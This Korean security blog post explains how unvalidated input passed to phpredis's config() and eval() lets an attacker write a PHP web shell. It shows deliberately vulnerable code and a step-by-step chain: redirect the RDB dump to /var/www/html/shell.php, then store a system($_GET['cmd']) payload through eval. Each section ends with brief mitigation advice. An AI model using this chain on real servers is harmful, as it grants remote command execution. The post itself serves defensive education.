본문으로 건너뛰기

Redis를 이용한 PHP 웹 쉘 업로드

Security Web Redis Php Webshell
thumbnail

프로그래밍 언어에서는 Redis를 사용하기 위한 라이브러리를 제공하는데요, PHP에서도 phpredis라는 라이브러리(Extension)를 제공하고 있습니다.

해당 라이브러리 함수에 입력되는 값의 검증이 미흡한 경우, 각종 취약점에 노출될 수 있습니다.

이 글에서는 phpredis의 eval과 config 함수에 입력되는 값 검증이 미흡한 경우에 발생할 수 있는 웹 쉘 업로드 취약점의 발생 과정과 대응 방안을 살펴보고자 합니다.

아래와 같이 사용자의 입력을 받아 eval, config 함수의 인자로 전달하는 코드가 있습니다.

$config_result = json_encode($redis->config($_GET['option'], $_GET['key']));
$eval_result = json_encode($redis->eval($_GET['script']));

먼저 각 함수의 간략한 설명과 보안 위협 및 대응방안을 알아보겠습니다.

💥 config 함수
#

https://phpredis.github.io/phpredis/Redis.html#method_config

config 함수

Redis의 CONFIG 명령어를 실행합니다. $operationGET을 넘겨 설정 값을 조회하거나 SET을 넘겨 설정 값을 셋팅할 수 도 있습니다.

주목할 점은 $operation으로 RESETSTAT, REWRITE, GET, SET 만 설정할 수 있다는 것입니다.

예를 들자면 아래와 같이 사용할 수 있습니다.

# Snapshot(RDB) 저장 주기 설정을 조회
$redis->config('GET', 'save');

# Snapshot(RDB) 저장 주기를 설정 (10초 동안 1회 이상 key 변경이 발생하면 저장)
$redis->config('SET', 'save', 10 1);

# Snapshot(RDB)이 저장되는 경로를 설정
$redis->config('SET', 'dir', '/var/www/html');

# Snapshot(RDB)이 저장되는 파일명을 설정
$redis->config('SET', 'dbfilename', 'shell.php');

Redis에서는 다음 명령어와 매치됩니다.

CONFIG GET save
CONFIG SET save 10 1

🛡️ 보안 위협 및 대응
#

사용자의 입력 값이 검증없이 config 함수의 인자로 입력되는 경우, 사용자가 임의로 redis의 설정을 변경할 수 있습니다.

특히 dir, dbfilename 설정을 무단 변경할 수 있는 경우, 공격자가 Redis 명령어를 실행하여 임의로 로그 문자열을 원하는 위치의 파일에 남길 수 있게됩니다. (파일, 디렉토리 권한 설정이 취약하다는 가정 하)

이를 방지하기 위해서는 서비스에서 필요한 값만 전달될 수 있도록 필터링하는 방법이 있습니다.

💥 eval 함수
#

https://phpredis.github.io/phpredis/Redis.html#method_eval

eval 함수

Redis의 EVAL 명령어를 실행합니다. $script에 LUA Script를 전달하여 실행시킬 수 있습니다.

특이한 점은 CONFIG 등 일부 명령어는 실행되지 않는다는 점입니다.

( Redis Github에서 확인할 수 있듯, NOSCRIPT 플래그가 존재하는 경우, LUA 스크립트 상에서 사용하지 못합니다.)

$redis->eval("return redis.call('CONFIG', 'GET', 'dir')");

<!-- POST cmd = return redis.call('SET', 'test', '<?php system("/flag"); ?>') -->
$redis->eval($_POST['cmd'])

NOSCRIPT 설정

Redis에서는 다음 명령어와 매치됩니다.

# CONFIG 명령어는 LUA 스크립트를 통해 실행할 수 없습니다.
EVAL "return redis.call('CONFIG', KEYS[1], ARGV[1])" 1 GET dir
(error) ERR This Redis command is not allowed from script script: 6eb12e0c8fe5db3b69439e9c5d90bcc30aa33844, on @user_script:1.

# 아래와 같은 일반 명령어는 실행 가능합니다.
EVAL "return redis.call('SET', KEYS[1], ARGV[1])" 1 test 123
OK

EVAL "return redis.call('GET', 'test')" 0
"123"

🛡️ 보안 위협 및 대응
#

eval 함수에 입력되는 값의 검증이 미흡한 경우, LUA 스크립트를 이용해 실행할 수 있는 명령은 모두 가능하게 됩니다. (NOSCRIPT 명령 제외)

허용 가능한 명령어만 입력되도록 필터링해야 합니다.

💥 config와 eval 함수를 악용하여 웹 쉘 업로드
#

사실, 위 두 함수를 잘 이용하면 공격자가 원하는 파일에 원하는 내용의 문자열을 채울 수 있습니다.

  1. 우선 config 함수를 이용해 dir 설정을 변경하여 명령어 로그 파일의 경로를 웹에서 접근할 수 있는 곳으로 변경합니다.

    # Snapshot(RDB)이 저장되는 경로를 설정
    $redis->config('SET', 'dir', '/var/www/html');
    
  2. config 함수를 이용해 dbfilename 설정을 변경하여 웹에서 접근할 수 있는 파일에 명령어 로그가 저장되도록 합니다.

    # Snapshot(RDB)이 저장되는 파일명을 설정
    $redis->config('SET', 'dbfilename', 'shell.php');
    
  3. config 함수를 이용해 저장 주기를 변경하여 명령어 로그가 바로 남을 수 있도록 합니다.

    # Snapshot(RDB) 저장 주기를 설정 (10초 동안 1회 이상 key 변경이 발생하면 저장)
    $redis->config('SET', 'save', 10 1);
    
  4. SET 명령어로 임의 Key에 PHP 코드가 저장되도록 명령을 실행하면, 위에서 설정한 shell.php 파일에 php 코드가 로그로 남게됩니다.

    <!-- POST cmd = return redis.call('SET', 'test', '<?php system($_GET["cmd"]); ?>') -->
    $redis->eval($_GET['cmd'])
    
  5. 웹에서 /shell.php?cmd=id 경로 접속 시 id 명령어가 실행된 결과를 확인할 수 있습니다.

    webshell 실행

🛡️ 보안 위협 및 대응
#

함수에 입력되는 값의 검증이 미흡할 경우, 사용자가 임의의 값을 입력하여 설정을 변경하거나 악용할 수 있습니다. 허용된 값만 입력되도록 입력 값을 필터링해야 합니다.

📖 참고
#